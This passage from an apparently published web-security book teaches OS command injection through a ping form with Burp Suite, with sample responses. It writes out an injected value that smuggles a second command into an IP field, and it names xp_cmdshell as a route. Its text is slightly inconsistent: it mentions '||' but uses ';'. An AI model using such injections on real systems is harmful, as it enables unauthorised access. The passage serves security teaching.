The command injection vulnerabilities into SQL injections usually occur because the DBMS has a stored procedure or an allowed native option, which interacts directly with the OS. For example, xp_cmdshell on SQL Server, or a specially stored procedure developed in Java for Oracle.
In some cases, it is also possible that the application stores the database strings that are extracted by a query and executed; so, if we can update the database, we could inject a command into the server. However, as I mentioned, this is not a common case.
Once we have detected a vulnerability related to command injection, we can use Burp Suite to exploit it. For example, let's examine the following request from an application:
This request was caught using the Proxy tool and, as you can see, the client is sending two parameters in the request's body. In this case, the application is waiting for an IP address to execute a ping command.
ping is a command executed by the OS, so it is possible that if the developer does not validate this input, the application passes the IP address parameter directly to the OS. Let's take a look at the normal flow:
In the Response tab, we can see how the application is returning the result in simple HTML. Of course, it is not possible to see it in this book, but the response appeared after some seconds when the server finished the command execution. So, knowing this field is vulnerable, we'll try to exploit it with Burp Suite, as follows:
- Go back to the HTTP History option, click on the original request, and use the right-hand button on the mouse to select Send to Repeater, as demonstrated in the following screenshot:
- In the Repeater tool, send the request again, as shown in the following screenshot. This is to verify that the application allows you to reuse a request; some applications use extra tokens to disallow reusing a request. This is a common behavior in online bank applications where having a unique request is needed:
- In this case, the application allows you to reuse the request, and additionally, the Repeater tool shows the time used by the response. This field is important because sometimes is not possible to see the result instantly. Sometimes, it is not possible to see the result in the response totally, so the time gives us an idea of whether the application is processing something or not:
- Now, we will check whether the application needs the expected string (the IP in this case) first, or if it is possible to modify it. To do this, we will try using the ifconfig command in the ip parameter, and then click on Go, as demonstrated in the following screenshot:
As you can see in the following screenshot, this request required more time than the previous:
When we analyze the result, we can detect why more time was taken, as follows:
<pre>PING ifconfig.huawei.net (120.78.181.57) 56(84) bytes of data. 64 bytes from 120.78.181.57: icmp_req=1 ttl=110 time=301 ms 64 bytes from 120.78.181.57: icmp_req=2 ttl=110 time=189 ms 64 bytes from 120.78.181.57: icmp_req=3 ttl=110 time=261 ms 64 bytes from 120.78.181.57: icmp_req=4 ttl=110 time=320 ms --- ifconfig.huawei.net ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 17901ms rtt min/avg/max/mdev = 189.534/268.177/320.130/50.187 ms </pre>
- The application is not returning the ifconfig result. Instead, the application is going to the internet and solved the domain name using ifconfig and did a ping command to the result, which is ifconfig.huawei.net. Now, we can infer that the application needs to escape from the ping scope, to execute another command. To do this, we are going to use ||, which is used in Unix-like servers to concatenate commands. We will enter the string: 127.0.0.1; IP address in the field, as demonstrated in the following screenshot:
In the preceding screenshot we can see in the response that first the ping command is executed, and then the ip address command is executed:
</form>
<pre>PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.019 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.018 ms
64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_req=4 ttl=64 time=0.035 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2998ms
rtt min/avg/max/mdev = 0.018/0.024/0.035/0.008 ms
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:0c:29:cc:94:2c brd ff:ff:ff:ff:ff:ff
inet 192.168.1.72/24 brd 192.168.1.255 scope global eth0
inet6 2806:1000:8100:5e17::2/64 scope global
valid_lft forever preferred_lft forever
inet6 fd1c:8e5c:7f6c:2000:f477:74c4:555:a617/64 scope global temporary dynamic
valid_lft 7165sec preferred_lft 3565sec
inet6 fd1c:8e5c:7f6c:2000:20c:29ff:fecc:942c/64 scope global dynamic
valid_lft 7165sec preferred_lft 3565sec
inet6 2806:1000:8100:5e17:f477:74c4:555:a617/64 scope global temporary dynamic
valid_lft 7165sec preferred_lft 3565sec
inet6 2806:1000:8100:5e17:20c:29ff:fecc:942c/64 scope global dynamic
valid_lft 7165sec preferred_lft 3565sec
inet6 fe80::20c:29ff:fecc:942c/64 scope link
valid_lft forever preferred_lft forever
</pre>
As I mentioned before, if the application is using a stored procedure or a function in an SQL query that executes an OS command, then it is also possible to exploit it like this. In the end, it is an input validation error.
A trick to identify whether a pattern or a specific string appears in the response, you can use the search bar in Burp Suite, as shown in the following screenshot:
In cases such as this, when you send a command that is included in another command or query and you do not know whether it is executed, you can write a string to detect it into the response, as shown in the following screenshot
Using this option is easy to detect expected strings.